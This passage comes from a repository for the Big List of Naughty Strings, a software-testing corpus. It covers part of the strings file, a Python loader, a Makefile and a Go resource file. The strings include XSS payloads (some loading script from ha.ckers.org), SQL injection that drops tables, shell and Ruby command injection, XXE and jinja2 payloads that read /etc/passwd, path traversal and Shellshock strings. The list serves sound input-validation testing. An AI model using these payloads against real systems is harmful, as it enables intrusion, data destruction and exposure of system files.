416 | <a href="\x17javascript:javascript:alert(71)" id="fuzzelement1">test</a>
417 | <a href="\x03javascript:javascript:alert(72)" id="fuzzelement1">test</a>
418 | <a href="\x0Ejavascript:javascript:alert(73)" id="fuzzelement1">test</a>
419 | <a href="\x1Ajavascript:javascript:alert(74)" id="fuzzelement1">test</a>
420 | <a href="\x00javascript:javascript:alert(75)" id="fuzzelement1">test</a>
421 | <a href="\x10javascript:javascript:alert(76)" id="fuzzelement1">test</a>
422 | <a href="\xE2\x80\x82javascript:javascript:alert(77)" id="fuzzelement1">test</a>
423 | <a href="\x20javascript:javascript:alert(78)" id="fuzzelement1">test</a>
424 | <a href="\x13javascript:javascript:alert(79)" id="fuzzelement1">test</a>
425 | <a href="\x09javascript:javascript:alert(80)" id="fuzzelement1">test</a>
426 | <a href="\xE2\x80\x8Ajavascript:javascript:alert(81)" id="fuzzelement1">test</a>
427 | <a href="\x14javascript:javascript:alert(82)" id="fuzzelement1">test</a>
428 | <a href="\x19javascript:javascript:alert(83)" id="fuzzelement1">test</a>
429 | <a href="\xE2\x80\xAFjavascript:javascript:alert(84)" id="fuzzelement1">test</a>
430 | <a href="\x1Fjavascript:javascript:alert(85)" id="fuzzelement1">test</a>
431 | <a href="\xE2\x80\x81javascript:javascript:alert(86)" id="fuzzelement1">test</a>
432 | <a href="\x1Djavascript:javascript:alert(87)" id="fuzzelement1">test</a>
433 | <a href="\xE2\x80\x87javascript:javascript:alert(88)" id="fuzzelement1">test</a>
434 | <a href="\x07javascript:javascript:alert(89)" id="fuzzelement1">test</a>
435 | <a href="\xE1\x9A\x80javascript:javascript:alert(90)" id="fuzzelement1">test</a>
436 | <a href="\xE2\x80\x83javascript:javascript:alert(91)" id="fuzzelement1">test</a>
437 | <a href="\x04javascript:javascript:alert(92)" id="fuzzelement1">test</a>
438 | <a href="\x01javascript:javascript:alert(93)" id="fuzzelement1">test</a>
439 | <a href="\x08javascript:javascript:alert(94)" id="fuzzelement1">test</a>
440 | <a href="\xE2\x80\x84javascript:javascript:alert(95)" id="fuzzelement1">test</a>
441 | <a href="\xE2\x80\x86javascript:javascript:alert(96)" id="fuzzelement1">test</a>
442 | <a href="\xE3\x80\x80javascript:javascript:alert(97)" id="fuzzelement1">test</a>
443 | <a href="\x12javascript:javascript:alert(98)" id="fuzzelement1">test</a>
444 | <a href="\x0Djavascript:javascript:alert(99)" id="fuzzelement1">test</a>
445 | <a href="\x0Ajavascript:javascript:alert(100)" id="fuzzelement1">test</a>
446 | <a href="\x0Cjavascript:javascript:alert(101)" id="fuzzelement1">test</a>
447 | <a href="\x15javascript:javascript:alert(102)" id="fuzzelement1">test</a>
448 | <a href="\xE2\x80\xA8javascript:javascript:alert(103)" id="fuzzelement1">test</a>
449 | <a href="\x16javascript:javascript:alert(104)" id="fuzzelement1">test</a>
450 | <a href="\x02javascript:javascript:alert(105)" id="fuzzelement1">test</a>
451 | <a href="\x1Bjavascript:javascript:alert(106)" id="fuzzelement1">test</a>
452 | <a href="\x06javascript:javascript:alert(107)" id="fuzzelement1">test</a>
453 | <a href="\xE2\x80\xA9javascript:javascript:alert(108)" id="fuzzelement1">test</a>
454 | <a href="\xE2\x80\x85javascript:javascript:alert(109)" id="fuzzelement1">test</a>
455 | <a href="\x1Ejavascript:javascript:alert(110)" id="fuzzelement1">test</a>
456 | <a href="\xE2\x81\x9Fjavascript:javascript:alert(111)" id="fuzzelement1">test</a>
457 | <a href="\x1Cjavascript:javascript:alert(112)" id="fuzzelement1">test</a>
458 | <a href="javascript\x00:javascript:alert(113)" id="fuzzelement1">test</a>
459 | <a href="javascript\x3A:javascript:alert(114)" id="fuzzelement1">test</a>
460 | <a href="javascript\x09:javascript:alert(115)" id="fuzzelement1">test</a>
461 | <a href="javascript\x0D:javascript:alert(116)" id="fuzzelement1">test</a>
462 | <a href="javascript\x0A:javascript:alert(117)" id="fuzzelement1">test</a>
463 | `"'><img src=xxx:x \x0Aonerror=javascript:alert(118)>
464 | `"'><img src=xxx:x \x22onerror=javascript:alert(119)>
465 | `"'><img src=xxx:x \x0Bonerror=javascript:alert(120)>
466 | `"'><img src=xxx:x \x0Donerror=javascript:alert(121)>
467 | `"'><img src=xxx:x \x2Fonerror=javascript:alert(122)>
468 | `"'><img src=xxx:x \x09onerror=javascript:alert(123)>
469 | `"'><img src=xxx:x \x0Conerror=javascript:alert(124)>
470 | `"'><img src=xxx:x \x00onerror=javascript:alert(125)>
471 | `"'><img src=xxx:x \x27onerror=javascript:alert(126)>
472 | `"'><img src=xxx:x \x20onerror=javascript:alert(127)>
473 | "`'><script>\x3Bjavascript:alert(128)</script>
474 | "`'><script>\x0Djavascript:alert(129)</script>
475 | "`'><script>\xEF\xBB\xBFjavascript:alert(130)</script>
476 | "`'><script>\xE2\x80\x81javascript:alert(131)</script>
477 | "`'><script>\xE2\x80\x84javascript:alert(132)</script>
478 | "`'><script>\xE3\x80\x80javascript:alert(133)</script>
479 | "`'><script>\x09javascript:alert(134)</script>
480 | "`'><script>\xE2\x80\x89javascript:alert(135)</script>
481 | "`'><script>\xE2\x80\x85javascript:alert(136)</script>
482 | "`'><script>\xE2\x80\x88javascript:alert(137)</script>
483 | "`'><script>\x00javascript:alert(138)</script>
484 | "`'><script>\xE2\x80\xA8javascript:alert(139)</script>
485 | "`'><script>\xE2\x80\x8Ajavascript:alert(140)</script>
486 | "`'><script>\xE1\x9A\x80javascript:alert(141)</script>
487 | "`'><script>\x0Cjavascript:alert(142)</script>
488 | "`'><script>\x2Bjavascript:alert(143)</script>
489 | "`'><script>\xF0\x90\x96\x9Ajavascript:alert(144)</script>
490 | "`'><script>-javascript:alert(145)</script>
491 | "`'><script>\x0Ajavascript:alert(146)</script>
492 | "`'><script>\xE2\x80\xAFjavascript:alert(147)</script>
493 | "`'><script>\x7Ejavascript:alert(148)</script>
494 | "`'><script>\xE2\x80\x87javascript:alert(149)</script>
495 | "`'><script>\xE2\x81\x9Fjavascript:alert(150)</script>
496 | "`'><script>\xE2\x80\xA9javascript:alert(151)</script>
497 | "`'><script>\xC2\x85javascript:alert(152)</script>
498 | "`'><script>\xEF\xBF\xAEjavascript:alert(153)</script>
499 | "`'><script>\xE2\x80\x83javascript:alert(154)</script>
500 | "`'><script>\xE2\x80\x8Bjavascript:alert(155)</script>
501 | "`'><script>\xEF\xBF\xBEjavascript:alert(156)</script>
502 | "`'><script>\xE2\x80\x80javascript:alert(157)</script>
503 | "`'><script>\x21javascript:alert(158)</script>
504 | "`'><script>\xE2\x80\x82javascript:alert(159)</script>
505 | "`'><script>\xE2\x80\x86javascript:alert(160)</script>
506 | "`'><script>\xE1\xA0\x8Ejavascript:alert(161)</script>
507 | "`'><script>\x0Bjavascript:alert(162)</script>
508 | "`'><script>\x20javascript:alert(163)</script>
509 | "`'><script>\xC2\xA0javascript:alert(164)</script>
510 | <img \x00src=x onerror="alert(165)">
511 | <img \x47src=x onerror="javascript:alert(166)">
512 | <img \x11src=x onerror="javascript:alert(167)">
513 | <img \x12src=x onerror="javascript:alert(168)">
514 | <img\x47src=x onerror="javascript:alert(169)">
515 | <img\x10src=x onerror="javascript:alert(170)">
516 | <img\x13src=x onerror="javascript:alert(171)">
517 | <img\x32src=x onerror="javascript:alert(172)">
518 | <img\x47src=x onerror="javascript:alert(173)">
519 | <img\x11src=x onerror="javascript:alert(174)">
520 | <img \x47src=x onerror="javascript:alert(175)">
521 | <img \x34src=x onerror="javascript:alert(176)">
522 | <img \x39src=x onerror="javascript:alert(177)">
523 | <img \x00src=x onerror="javascript:alert(178)">
524 | <img src\x09=x onerror="javascript:alert(179)">
525 | <img src\x10=x onerror="javascript:alert(180)">
526 | <img src\x13=x onerror="javascript:alert(181)">
527 | <img src\x32=x onerror="javascript:alert(182)">
528 | <img src\x12=x onerror="javascript:alert(183)">
529 | <img src\x11=x onerror="javascript:alert(184)">
530 | <img src\x00=x onerror="javascript:alert(185)">
531 | <img src\x47=x onerror="javascript:alert(186)">
532 | <img src=x\x09onerror="javascript:alert(187)">
533 | <img src=x\x10onerror="javascript:alert(188)">
534 | <img src=x\x11onerror="javascript:alert(189)">
535 | <img src=x\x12onerror="javascript:alert(190)">
536 | <img src=x\x13onerror="javascript:alert(191)">
537 | <img[a][b][c]src[d]=x[e]onerror=[f]"alert(192)">
538 | <img src=x onerror=\x09"javascript:alert(193)">
539 | <img src=x onerror=\x10"javascript:alert(194)">
540 | <img src=x onerror=\x11"javascript:alert(195)">
541 | <img src=x onerror=\x12"javascript:alert(196)">
542 | <img src=x onerror=\x32"javascript:alert(197)">
543 | <img src=x onerror=\x00"javascript:alert(198)">
544 | <a href=java script:javascript:alert(199)>XXX</a>
545 | <img src="x` `<script>javascript:alert(200)</script>"` `>
546 | <img src onerror /" '"= alt=javascript:alert(201)//">
547 | <title onpropertychange=javascript:alert(202)>
548 | <a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(203)></a>">
549 | <!--[if]><script>javascript:alert(204)</script -->
550 | <!--[if<img src=x onerror=javascript:alert(205)//]> -->
551 | <script src="/\%(jscript)s"></script>
552 | <script src="\\%(jscript)s"></script>
553 | <IMG """><SCRIPT>alert("206")</SCRIPT>">
554 | <IMG SRC=javascript:alert(String.fromCharCode(50,48,55))>
555 | <IMG SRC=# onmouseover="alert('208')">
556 | <IMG SRC= onmouseover="alert('209')">
557 | <IMG onmouseover="alert('210')">
558 | <IMG SRC=javascript:alert('211')>
559 | <IMG SRC=javascript:alert('212')>
560 | <IMG SRC=javascript:alert('213')>
561 | <IMG SRC="jav ascript:alert('214');">
562 | <IMG SRC="jav ascript:alert('215');">
563 | <IMG SRC="jav
ascript:alert('216');">
564 | <IMG SRC="jav
ascript:alert('217');">
565 | perl -e 'print "<IMG SRC=java\0script:alert(\"218\")>";' > out
566 | <IMG SRC=" javascript:alert('219');">
567 | <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
568 | <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("220")>
569 | <SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
570 | <<SCRIPT>alert("221");//<</SCRIPT>
571 | <SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
572 | <SCRIPT SRC=//ha.ckers.org/.j>
573 | <IMG SRC="javascript:alert('222')"
574 | <iframe src=http://ha.ckers.org/scriptlet.html <
575 | \";alert('223');//
576 | <u oncopy=alert()> Copy me</u>
577 | <i onwheel=alert(224)> Scroll over me </i>
578 | <plaintext>
579 | http://a/%%30%30
580 | </textarea><script>alert(225)</script>
581 |
582 | # SQL Injection
583 | #
584 | # Strings which can cause a SQL injection if inputs are not sanitized
585 |
586 | 1;DROP TABLE users
587 | 1'; DROP TABLE users-- 1
588 | ' OR 1=1 -- 1
589 | ' OR '1'='1
590 | '; EXEC sp_MSForEachTable 'DROP TABLE ?'; --
591 |
592 | %
593 | _
594 |
595 | # Server Code Injection
596 | #
597 | # Strings which can cause user to run code on server as a privileged user (c.f. https://news.ycombinator.com/item?id=7665153)
598 |
599 | -
600 | --
601 | --version
602 | --help
603 | $USER
604 | /dev/null; touch /tmp/blns.fail ; echo
605 | `touch /tmp/blns.fail`
606 | $(touch /tmp/blns.fail)
607 | @{[system "touch /tmp/blns.fail"]}
608 |
609 | # Command Injection (Ruby)
610 | #
611 | # Strings which can call system commands within Ruby/Rails applications
612 |
613 | eval("puts 'hello world'")
614 | System("ls -al /")
615 | `ls -al /`
616 | Kernel.exec("ls -al /")
617 | Kernel.exit(1)
618 | %x('ls -al /')
619 |
620 | # XXE Injection (XML)
621 | #
622 | # String which can reveal system files when parsed by a badly configured XML parser
623 |
624 | <?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>
625 |
626 | # Unwanted Interpolation
627 | #
628 | # Strings which can be accidentally expanded into different strings if evaluated in the wrong context, e.g. used as a printf format string or via Perl or shell eval. Might expose sensitive data from the program doing the interpolation, or might just represent the wrong string.
629 |
630 | $HOME
631 | $ENV{'HOME'}
632 | %d
633 | %s%s%s%s%s
634 | {0}
635 | %*.*s
636 | %@
637 | %n
638 | File:///
639 |
640 | # File Inclusion
641 | #
642 | # Strings which can cause user to pull in files that should not be a part of a web server
643 |
644 | ../../../../../../../../../../../etc/passwd%00
645 | ../../../../../../../../../../../etc/hosts
646 |
647 | # Known CVEs and Vulnerabilities
648 | #
649 | # Strings that test for known vulnerabilities
650 |
651 | () { 0; }; touch /tmp/blns.shellshock1.fail;
652 | () { _; } >_[$($())] { touch /tmp/blns.shellshock2.fail; }
653 | <<< %s(un='%s') = %u
654 | +++ATH0
655 |
656 | # MSDOS/Windows Special Filenames
657 | #
658 | # Strings which are reserved characters in MSDOS/Windows
659 |
660 | CON
661 | PRN
662 | AUX
663 | CLOCK$
664 | NUL
665 | A:
666 | ZZ:
667 | COM1
668 | LPT1
669 | LPT2
670 | LPT3
671 | COM2
672 | COM3
673 | COM4
674 |
675 | # IRC specific strings
676 | #
677 | # Strings that may occur on IRC clients that make security products freak out
678 |
679 | DCC SEND STARTKEYLOGGER 0 0 0
680 |
681 | # Scunthorpe Problem
682 | #
683 | # Innocuous strings which may be blocked by profanity filters (https://en.wikipedia.org/wiki/Scunthorpe_problem)
684 |
685 | Scunthorpe General Hospital
686 | Penistone Community Church
687 | Lightwater Country Park
688 | Jimmy Clitheroe
689 | Horniman Museum
690 | shitake mushrooms
691 | RomansInSussex.co.uk
692 | http://www.cum.qc.ca/
693 | Craig Cockburn, Software Specialist
694 | Linda Callahan
695 | Dr. Herman I. Libshitz
696 | magna cum laude
697 | Super Bowl XXX
698 | medieval erection of parapets
699 | evaluate
700 | mocha
701 | expression
702 | Arsenal canal
703 | classic
704 | Tyson Gay
705 | Dick Van Dyke
706 | basement
707 |
708 | # Human injection
709 | #
710 | # Strings which may cause human to reinterpret worldview
711 |
712 | If you're reading this, you've been in a coma for almost 20 years now. We're trying a new technique. We don't know where this message will end up in your dream, but we hope it works. Please wake up, we miss you.
713 |
714 | # Terminal escape codes
715 | #
716 | # Strings which punish the fools who use cat/type on this file
717 |
718 | Roses are [0;31mred[0m, violets are [0;34mblue. Hope you enjoy terminal hue
719 | But now...[20Cfor my greatest trick...[8m
720 | The quick brown fox... [Beeeep]
721 |
722 | # iOS Vulnerabilities
723 | #
724 | # Strings which crashed iMessage in various versions of iOS
725 |
726 | Powerلُلُصّبُلُلصّبُررً ॣ ॣh ॣ ॣ冗
727 | 🏳0🌈️
728 | జ్ఞా
729 |
730 | # Persian special characters
731 | #
732 | # This is a four characters string which includes Persian special characters (گچپژ)
733 |
734 | گچپژ
735 |
736 | # jinja2 injection
737 | #
738 | # first one is supposed to raise "MemoryError" exception
739 | # second, obviously, prints contents of /etc/passwd
740 |
741 | {% print 'x' * 64 * 1024**3 %}
742 | {{ "".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }}
743 |
--------------------------------------------------------------------------------
/naughtystrings/Makefile:
--------------------------------------------------------------------------------
1 | # Uses https://github.com/go-bindata/go-bindata
2 | naughtystrings/internal/resource.go:
3 | go-bindata -o internal/resource.go -pkg internal -nocompress ../blns*.json
4 |
--------------------------------------------------------------------------------
/naughtystrings/__init__.py:
--------------------------------------------------------------------------------
1 | import os
2 |
3 |
4 | FILEPATH = os.path.join(
5 | os.path.abspath(os.path.dirname(os.path.dirname(__file__))), 'blns.txt')
6 | """Path to the file"""
7 |
8 |
9 | def naughty_strings(filepath=FILEPATH):
10 | """Get the list of naughty_strings.
11 |
12 | By default this will get the strings from the blns.txt file
13 |
14 | Code is a simple port of what is already in the /scripts directory
15 |
16 | :param filepath: Optional filepath the the blns.txt file
17 | :returns: The list of naughty strings
18 | """
19 |
20 | strings = []
21 | with open(filepath, 'r') as f:
22 |
23 | # put all lines in the file into a Python list
24 | strings = f.readlines()
25 |
26 | # above line leaves trailing newline characters; strip them out
27 | strings = [x.strip(u'\n') for x in strings]
28 |
29 | # remove empty-lines and comments
30 | strings = [x for x in strings if x and not x.startswith(u'#')]
31 |
32 | # insert empty string since all are being removed
33 | strings.insert(0, u"")
34 |
35 | return strings
36 |
--------------------------------------------------------------------------------
/naughtystrings/go.mod:
--------------------------------------------------------------------------------
1 | module github.com/minimaxir/big-list-of-naughty-strings/naughtystrings
2 |
--------------------------------------------------------------------------------
/naughtystrings/internal/resource.go:
--------------------------------------------------------------------------------
1 | // Code generated by go-bindata.
2 | // sources:
3 | // ../blns.base64.json
4 | // ../blns.json
5 | // DO NOT EDIT!
6 |
7 | package internal
8 |
9 | import (
10 | "fmt"
11 | "io/ioutil"
12 | "os"
13 | "path/filepath"
14 | "strings"
15 | "time"
16 | )
17 | type asset struct {
18 | bytes []byte
19 | info os.FileInfo
20 | }
21 |
22 | type bindataFileInfo struct {
23 | name string
24 | size int64
25 | mode os.FileMode
26 | modTime time.Time
27 | }
28 |
29 | func (fi bindataFileInfo) Name() string {
30 | return fi.name
31 | }
32 | func (fi bindataFileInfo) Size() int64 {
33 | return fi.size
34 | }
35 | func (fi bindataFileInfo) Mode() os.FileMode {
36 | return fi.mode
37 | }
38 | func (fi bindataFileInfo) ModTime() time.Time {
39 | return fi.modTime
40 | }
41 | func (fi bindataFileInfo) IsDir() bool {
42 | return false
43 | }
44 | func (fi bindataFileInfo) Sys() interface{} {
45 | return nil
46 | }
47 |
48 | var _BlnsBase64Json = []byte(`[
49 | "",
50 | "dW5kZWZpbmVk",
51 | "dW5kZWY=",
52 | "bnVsbA==",
53 | "TlVMTA==",
54 | "KG51bGwp",
55 | "bmls",
56 | "TklM",
57 | "dHJ1ZQ==",
58 | "ZmFsc2U=",
59 | "VHJ1ZQ==",
60 | "RmFsc2U=",
61 | "VFJVRQ==",
62 | "RkFMU0U=",
63 | "Tm9uZQ==",
64 | "aGFzT3duUHJvcGVydHk=",
65 | "XA==",
66 | "MA==",
67 | "MQ==",
68 | "MS4wMA==",
69 | "JDEuMDA=",
70 | "MS8y",
71 | "MUUy",
72 | "MUUwMg==",
73 | "MUUrMDI=",
74 | "LTE=",
75 | "LTEuMDA=",
76 | "LSQxLjAw",
77 | "LTEvMg==",
78 | "LTFFMg==",
79 | "LTFFMDI=",
80 | "LTFFKzAy",
81 | "MS8w",
82 | "MC8w",
83 | "LTIxNDc0ODM2NDgvLTE=",
84 | "LTkyMjMzNzIwMzY4NTQ3NzU4MDgvLTE=",
85 | "LTA=",
86 | "LTAuMA==",
87 | "KzA=",
88 | "KzAuMA==",
89 | "MC4wMA==",
90 | "MC4uMA==",
91 | "Lg==",
92 | "MC4wLjA=",
93 | "MCwwMA==",
94 | "MCwsMA==",
95 | "LA==",
96 | "MCwwLDA=",
97 | "MC4wLzA=",
98 | "MS4wLzAuMA==",
99 | "MC4wLzAuMA==",
100 | "MSwwLzAsMA==",
101 | "MCwwLzAsMA==",
102 | "LS0x",
103 | "LQ==",
104 | "LS4=",
105 | "LSw=",
106 | "OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5",
107 | "OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5",
108 | "TmFO",
109 | "SW5maW5pdHk=",
110 | "LUluZmluaXR5",
111 | "SU5G",
112 | "MSNJTkY=",
113 | "LTEjSU5E",
114 | "MSNRTkFO",
115 | "MSNTTkFO",
116 | "MSNJTkQ=",
117 | "MHgw",
118 | "MHhmZmZmZmZmZg==",
119 | "MHhmZmZmZmZmZmZmZmZmZmZm",
120 | "MHhhYmFkMWRlYQ==",
121 | "MTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIzNDU2Nzg5",
122 | "MSwwMDAuMDA=",
123 | "MSAwMDAuMDA=",
124 | "MScwMDAuMDA=",
125 | "MSwwMDAsMDAwLjAw",
126 | "MSAwMDAgMDAwLjAw",
127 | "MScwMDAnMDAwLjAw",
128 | "MS4wMDAsMDA=",
129 | "MSAwMDAsMDA=",
130 | "MScwMDAsMDA=",
131 | "MS4wMDAuMDAwLDAw",
132 | "MSAwMDAgMDAwLDAw",
133 | "MScwMDAnMDAwLDAw",
134 | "MDEwMDA=",
135 | "MDg=",
136 | "MDk=",
137 | "Mi4yMjUwNzM4NTg1MDcyMDExZS0zMDg=",
138 | "LC4vOydbXS09",
139 | "PD4/OiJ7fXxfKw==",
140 | "IUAjJCVeJiooKWB+",
141 | "AQIDBAUGBwgODxAREhMUFRYXGBkaGxwdHh9/",
142 | "woDCgcKCwoPChMKGwofCiMKJworCi8KMwo3CjsKPwpDCkcKSwpPClMKVwpbCl8KYwpnCmsKbwpzC",
143 | "ncKewp8=",
144 | "CwwgwoXCoOGagOKAgOKAgeKAguKAg+KAhOKAheKAhuKAh+KAiOKAieKAiuKAi+KAqOKAqeKAr+KB",
145 | "n+OAgA==",
146 | "wq3YgNiB2ILYg9iE2IXYnNud3I/hoI7igIvigIzigI3igI7igI/igKrigKvigKzigK3igK7igaDi",
147 | "gaHigaLigaPigaTigabigafigajiganigarigavigaziga3iga7iga/vu7/vv7nvv7rvv7vwkYK9",
148 | "8JuyoPCbsqHwm7Ki8Juyo/CdhbPwnYW08J2FtfCdhbbwnYW38J2FuPCdhbnwnYW686CAgfOggKDz",
149 | "oICh86CAovOggKPzoICk86CApfOggKbzoICn86CAqPOggKnzoICq86CAq/OggKzzoICt86CArvOg",
150 | "gK/zoICw86CAsfOggLLzoICz86CAtPOggLXzoIC286CAt/OggLjzoIC586CAuvOggLvzoIC886CA",
151 | "vfOggL7zoIC/86CBgPOggYHzoIGC86CBg/OggYTzoIGF86CBhvOggYfzoIGI86CBifOggYrzoIGL",
152 | "86CBjPOggY3zoIGO86CBj/OggZDzoIGR86CBkvOggZPzoIGU86CBlfOggZbzoIGX86CBmPOggZnz",
153 | "oIGa86CBm/OggZzzoIGd86CBnvOggZ/zoIGg86CBofOggaLzoIGj86CBpPOggaXzoIGm86CBp/Og",
154 | "gajzoIGp86CBqvOggavzoIGs86CBrfOgga7zoIGv86CBsPOggbHzoIGy86CBs/OggbTzoIG186CB",
155 | "tvOggbfzoIG486CBufOggbrzoIG786CBvPOggb3zoIG+86CBvw==",
156 | "77u/",
157 | "77++",
158 | "zqniiYjDp+KImuKIq8ucwrXiiaTiiaXDtw==",
159 | "w6XDn+KIgsaSwqnLmeKIhsuawqzigKbDpg==",
160 | "xZPiiJHCtMKu4oCgwqXCqMuGw7jPgOKAnOKAmA==",
161 | "wqHihKLCo8Ki4oiewqfCtuKAosKqwrrigJPiiaA=",
162 | "wrjLm8OH4peKxLHLnMOCwq/LmMK/",
163 | "w4XDjcOOw4/LncOTw5Tvo7/DksOaw4bimIM=",
164 | "xZLigJ7CtOKAsMuHw4HCqMuGw5jiiI/igJ3igJk=",
165 | "YOKBhOKCrOKAueKAuu+sge+sguKAocKwwrfigJrigJTCsQ==",
166 | "4oWb4oWc4oWd4oWe",
167 | "0IHQgtCD0ITQhdCG0IfQiNCJ0IrQi9CM0I3QjtCP0JDQkdCS0JPQlNCV0JbQl9CY0JnQmtCb0JzQ",
168 | "ndCe0J/QoNCh0KLQo9Ck0KXQptCn0KjQqdCq0KvQrNCt0K7Qr9Cw0LHQstCz0LTQtdC20LfQuNC5",
169 | "0LrQu9C80L3QvtC/0YDRgdGC0YPRhNGF0YbRh9GI0YnRitGL0YzRjdGO0Y8=",
170 | "2aDZodmi2aPZpNml2abZp9mo2ak=",
171 | "4oGw4oG04oG1",
172 | "4oKA4oKB4oKC",
173 | "4oGw4oG04oG14oKA4oKB4oKC",
174 | "4LiU4LmJ4LmJ4LmJ4LmJ4LmJ4LmH4LmH4LmH4LmH4LmH4LmJ4LmJ4LmJ4LmJ4LmJ4LmH4LmH4LmH",
175 | "4LmH4LmH4LmJ4LmJ4LmJ4LmJ4LmJ4LmJ4LmJ4LmJ4LmH4LmH4LmH4LmH4LmH4LmJ4LmJ4LmJ4LmJ",
176 | "4LmJ4LmH4LmH4LmH4LmH4LmH4LmJ4LmJ4LmJ4LmJ4LmJ4LmJ4LmJ4LmJ4LmH4LmH4LmH4LmH4LmH",
177 | "4LmJ4LmJ4LmJ4LmJ4LmJ4LmH4LmH4LmH4LmH4LmH4LmJ4LmJ4LmJ4LmJ4LmJ4LmJ4LmJ4LmJ4LmH",
178 | "4LmH4LmH4LmH4LmH4LmJ4LmJ4LmJ4LmJ4LmJ4LmH4LmH4LmH4LmHIOC4lOC5ieC5ieC5ieC5ieC5",
179 | "ieC5h+C5h+C5h+C5h+C5h+C5ieC5ieC5ieC5ieC5ieC5h+C5h+C5h+C5h+C5h+C5ieC5ieC5ieC5",
180 | "ieC5ieC5ieC5ieC5ieC5h+C5h+C5h+C5h+C5h+C5ieC5ieC5ieC5ieC5ieC5h+C5h+C5h+C5h+C5",
181 | "h+C5ieC5ieC5ieC5ieC5ieC5ieC5ieC5ieC5h+C5h+C5h+C5h+C5h+C5ieC5ieC5ieC5ieC5ieC5",
182 | "h+C5h+C5h+C5h+C5h+C5ieC5ieC5ieC5ieC5ieC5ieC5ieC5ieC5h+C5h+C5h+C5h+C5h+C5ieC5",
183 | "ieC5ieC5ieC5ieC5h+C5h+C5h+C5hyDguJTguYnguYnguYnguYnguYnguYfguYfguYfguYfguYfg",
184 | "uYnguYnguYnguYnguYnguYfguYfguYfguYfguYfguYnguYnguYnguYnguYnguYnguYnguYnguYfg",
185 | "uYfguYfguYfguYfguYnguYnguYnguYnguYnguYfguYfguYfguYfguYfguYnguYnguYnguYnguYng",
186 | "uYnguYnguYnguYfguYfguYfguYfguYfguYnguYnguYnguYnguYnguYfguYfguYfguYfguYfguYng",
187 | "uYnguYnguYnguYnguYnguYnguYnguYfguYfguYfguYfguYfguYnguYnguYnguYnguYnguYfguYfg",
188 | "uYfguYc=",
189 | "Jw==",
190 | "Ig==",
191 | "Jyc=",
192 | "IiI=",
193 | "JyIn",
194 | "IicnJyciJyI=",
195 | "IiciJyInJycnIg==",
196 | "PGZvbyB2YWw94oCcYmFy4oCdIC8+",
197 | "PGZvbyB2YWw94oCcYmFy4oCdIC8+",
198 | "PGZvbyB2YWw94oCdYmFy4oCcIC8+",
199 | "PGZvbyB2YWw9YGJhcicgLz4=",
200 | "55Sw5Lit44GV44KT44Gr44GC44GS44Gm5LiL44GV44GE",
201 | "44OR44O844OG44Kj44O844G46KGM44GL44Gq44GE44GL",
202 | "5ZKM6KO95ryi6Kqe",
203 | "6YOo6JC95qC8",
204 | "7IKs7ZqM6rO87ZWZ7JuQIOyWtO2VmeyXsOq1rOyGjA==",
205 | "7LCm7LCo66W8IO2DgOqzoCDsmKgg7Y6y7Iuc66eo6rO8IOyRm+uLpOumrCDrmKDrsKnqsIHtlZg=",
206 | "56S+5pyD56eR5a246Zmi6Kqe5a2456CU56m25omA",
207 | "7Jq4656A67CU7Yag66W0",
208 | "8KCcjvCgnLHwoJ258KCxk/CgsbjwoLKW8KCzjw==",
209 | "6KGo44Od44GCQem3l8WSw6nvvKLpgI3DnMOfwqrEhcOx5LiC45CA8KCAgA==",
210 | "44O94Ly84LqI2YTNnOC6iOC8ve++iSDjg73gvLzguojZhM2c4LqI4Ly9776J",
211 | "KO+9oeKXlSDiiIAg4peV772hKQ==",
212 | "772A772oKMK04oiA772A4oip",
213 | "X1/vvpsoLF8sKik=",
214 | "44O7KO+/o+KIgO+/oynjg7s6Kjo=",
215 | "776f772l4py/44O+4pWyKO+9oeKXleKAv+KXle+9oSnilbHinL/vvaXvvp8=",
216 | "LOOAguODuzoqOuODu+OCnOKAmSgg4pi7IM+JIOKYuyAp44CC44O7Oio644O744Kc4oCZ",
217 | "KOKVr8Kw4pahwrDvvInila/vuLUg4pS74pSB4pS7KQ==",
218 | "KO++ieCypeebiuCype+8ie++ie+7vyDilLvilIHilLs=",
219 | "4pSs4pSA4pSs44OOKCDCuiBfIMK644OOKQ==",
220 | "KCDNocKwIM2cypYgzaHCsCk=",
221 | "8J+YjQ==",
222 | "8J+RqfCfj70=",
223 | "8J+RviDwn5mHIPCfkoEg8J+ZhSDwn5mGIPCfmYsg8J+ZjiDwn5mN",
224 | "8J+QtSDwn5mIIPCfmYkg8J+Zig==",
225 | "4p2k77iPIPCfkpQg8J+SjCDwn5KVIPCfkp4g8J+SkyDwn5KXIPCfkpYg8J+SmCDwn5KdIPCfkp8g",
226 | "8J+SnCDwn5KbIPCfkpog8J+SmQ==",
227 | "4pyL8J+PvyDwn5Kq8J+PvyDwn5GQ8J+PvyDwn5mM8J+PvyDwn5GP8J+PvyDwn5mP8J+Pvw==",
228 | "8J+aviDwn4aSIPCfhpMg8J+GlSDwn4aWIPCfhpcg8J+GmSDwn4+n",
229 | "MO+4j+KDoyAx77iP4oOjIDLvuI/ig6MgM++4j+KDoyA077iP4oOjIDXvuI/ig6MgNu+4j+KDoyA3",
230 | "77iP4oOjIDjvuI/ig6MgOe+4j+KDoyDwn5Sf",
231 | "8J+HuvCfh7jwn4e38J+HuvCfh7gg8J+HpvCfh6vwn4em8J+HsvCfh7g=",
232 | "8J+HuvCfh7jwn4e38J+HuvCfh7jwn4em8J+Hq/Cfh6bwn4ey",
233 | "8J+HuvCfh7jwn4e38J+HuvCfh7jwn4em",
234 | "77yR77yS77yT",
235 | "2aHZotmj",
236 | "2KvZhSDZhtmB2LMg2LPZgti32Kog2YjYqNin2YTYqtit2K/Zitiv2IwsINis2LLZitix2KrZiiDY",
237 | "qNin2LPYqtiu2K/Yp9mFINij2YYg2K/ZhtmILiDYpdiwINmH2YbYp9ifINin2YTYs9iq2KfYsSDZ",
